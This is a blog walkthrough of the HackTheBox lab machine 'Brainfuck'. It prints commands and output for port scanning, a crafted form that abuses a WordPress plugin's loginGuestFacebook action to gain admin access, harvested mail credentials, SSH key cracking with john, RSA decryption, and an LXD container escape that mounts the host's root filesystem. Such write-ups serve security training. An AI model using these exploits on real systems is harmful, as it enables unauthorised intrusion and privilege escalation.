Skip to main content

HackTheBox Brainfuck

1240 words
Edwin | Shiro
Author
Edwin | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Machine Synopsis
#

Key Exploitation Techniques:

  • DNS Enumeration (SSL Certificate SANs)
  • WordPress Plugin Vulnerability (WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation via loginGuestFacebook)
  • Credential Harvesting (SMTP password from WP config)
  • Mailbox Enumeration (POP3/IMAP access)
  • Vigenere Cipher Decryption (with known plaintext)
  • Encrypted SSH Key Cracking (John the Ripper)
  • RSA Decryption (known p, q, e factors)
  • LXD Privilege Escalation (Abuse of lxd group membership)

Enumeration
#

$ nmap -p- --min-rate 10000 10.10.10.17 

PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https

$ nmap -p 22,25,110,143,443 -sCV 10.10.10.17

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
|   256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_  256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: RESP-CODES USER SASL(PLAIN) AUTH-RESP-CODE CAPA UIDL TOP PIPELINING
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: post-login capabilities SASL-IR LITERAL+ ENABLE more IMAP4rev1 IDLE LOGIN-REFERRALS listed have ID OK Pre-login AUTH=PLAINA0001
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_http-title: Welcome to nginx!
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

default_ip_website.png

The SSL certificate for HTTPS on port 443 revealed hostnames brainfuck.htb and sup3rs3cr3t.brainfuck.htb. These were added to /etc/hosts.

10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb

https_website.png

The certificate also showed orestis@brainfuck.htb as an email address.

emailAddress = orestis@brainfuck.htb
CN = brainfuck.htb
OU = IT
O = Brainfuck Ltd.
L = Athens
ST = Attica
C = GR

wpscan against https://brainfuck.htb identified the wp-support-plus-responsive-ticket-system plugin version 7.1.3, which was outdated.

$ wpscan --url https://brainfuck.htb --disable-tls-checks
...
[+] wp-support-plus-responsive-ticket-system
 | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Version: 7.1.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt


$ searchsploit wordpress support plus     
...
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation                                     | php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection                                            | php/webapps/40939.txt
...

searchsploit confirmed known vulnerabilities for this plugin version, including privilege escalation (41006.txt) and SQL Injection (40939.txt).

Exploitation
#

WordPress Admin Access (loginGuestFacebook)
#

Exploiting the privilege escalation vulnerability in WP Support Plus Responsive Ticket System version 7.1.3 was performed via a crafted HTML form (hehe.html). This specific vulnerability involved abusing the loginGuestFacebook action to gain admin privileges

$ cat hehe.html     
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="admin">
	<input type="hidden" name="email" value="orestis@brainfuck.htb">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

malicious_html.png

Submitting this form, then navigating to https://brainfuck.htb/wp-admin/admin-ajax.php and refreshing https://brainfuck.htb/, granted administrative access to the WordPress site.

brainfuck_admin.png

SMTP Credential Discovery & Mailbox Enumeration
#

Within the WordPress admin panel, the WP SMTP plugin configuration revealed SMTP credentials: orestis:kHGuERB29DNiNE.

wp_plugins.png

wp_admin_dashboard.png

wp_plugin_password.png

These were used to access Orestis’s mailbox via POP3/IMAP

Connecting to the POP3 service on port 110 (e.g., using telnet or a mail client) with these credentials, an interesting email was found. This email contained credentials for a “secret forum” on sup3rs3cr3t.brainfuck.htb: orestis:kIEnnfEKJ#9UmdO.

supersecret_website.png

supersecret_discussion.png

supersecret_admin_login.png

supersecret_ssh_access.png

Vigenere Cipher Decryption & SSH Key Discovery
#

Accessing one of the threads revealed an encrypted message. A plaintext segment from the thread, “Pieagnm - Jkoijeg nbw zwx mle grwsnn,” was recognized as similar to “Orestis - Hacking for fun and profit.”

supersecret_keys.png

This suggested a Vigenere cipher.

vigenere_cipher.png

Using the known plaintext-ciphertext pair, the Vigenere key was determined to be fuckmybrain.

vigenere_cipher_2.png

Applying this key to the full encrypted message content revealed a link to an SSH private key: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa.

Encrypted SSH Key Cracking & SSH Access (orestis)
#

The id_rsa file downloaded from the discovered link was encrypted.

$ cat id_rsa   
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
...
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----

The SSH private key was converted to a crackable hash format using ssh2john. john was then used with rockyou.txt to crack the hash.

$ ssh2john id_rsa >> hash

$ cat hash     
id_rsa:$sshng$1$16$6904FEF19397786F75BE2D7762AE7382$1200$9a779a83f60263c0...

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt 
...
3poulakia!       (id_rsa)    

The passphrase was 3poulakia!. Permissions were set on the id_rsa file.

$ chmod 600 id_rsa

An SSH connection was established to 10.10.10.17 as orestis using the key and passphrase.

$ ssh -i id_rsa orestis@10.10.10
Enter passphrase for key 'id_rsa': 3poulakia!
...
You have mail.
orestis@brainfuck:~$ groups
orestis adm cdrom dip plugdev lxd lpadmin sambashare

orestis@brainfuck:~$ cat user.txt 
2c11cfbc5b959f73ac15a3310bd097c9

The user.txt flag was retrieved. orestis was also a member of the lxd group, indicating another potential privilege escalation path.

Privilege Escalation
#

RSA Decryption (Intended Path)
#

In orestis’s home directory, an encrypt.sage script and corresponding debug.txt and output.txt files were found.

orestis@brainfuck:~$ ls
debug.txt  encrypt.sage  mail  output.txt  user.txt
orestis@brainfuck:~$ cat encrypt.sage 
nbits = 1024
password = open("/root/root.txt").read().strip()
...
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
...
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

encrypt.sage encrypted root.txt using RSA, logging p, q, and e to debug.txt and the ciphertext c to output.txt. This provided all necessary components to decrypt the RSA ciphertext.

orestis@brainfuck:~$ cat debug.txt 
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
orestis@brainfuck:~$ cat output.txt 
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

A Python script (decrypt_rsa.py) was used to perform the RSA decryption, given p, q, e, and c.

# https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e
$ cat decrypt_rsa.py 
def egcd(a, b):
    # ... (Euclidean algorithm for GCD and extended GCD)
    return gcd, x, y

def main():
    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )

if __name__ == "__main__":
    main()

    
$ python decrypt_rsa.py                                       
n:  8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750

The decrypted plaintext pt was an integer. Converting this integer to hexadecimal and then converting it back to text revealed the root flag

$ python3                    
>>> pt=24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> print(pt)
24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> hex(pt)
'0x3665666331613564626238393034373531636536353636613330356262386566'

decoded_hex.png

The root flag is 6efc1a5dbb8904751ce6566a305bb8ef.

Alternative Privilege Escalation: LXD
#

orestis was a member of the lxd group, which allows for LXD privilege escalation. This involves creating a privileged LXD container, mounting the host’s root filesystem, and executing commands within the container to affect the host.

Initial lxc commands confirmed no existing containers or images:

orestis@brainfuck:~$ lxc list
Generating a client certificate. This may take a minute...
...
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
orestis@brainfuck:~$ lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+

A base64-encoded LXD Alpine image (bob.tar.bz2) was provided in this writeup. This was decoded and imported as an LXD image.

# Decode the base64 string and decompress
orestis@brainfuck:~$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhcvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
orestis@brainfuck:~$ lxc image import bob.tar.bz2 --alias bobImage
Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d

A new privileged LXD container, bobVM, was initialized and configured to mount the host’s root filesystem (/) to /r within the container.

orestis@brainfuck:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
orestis@brainfuck:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM

The container was started, and a shell was executed within it. From inside, the host’s root filesystem was accessible, allowing root.txt to be read.

orestis@brainfuck:~$ lxc start bobVM
orestis@brainfuck:~$ lxc exec bobVM -- /bin/sh
# whoami
root

# cat /r/root/root.txt 
6efc1a5dbb8904751ce6566a305bb8ef

The root.txt flag was retrieved.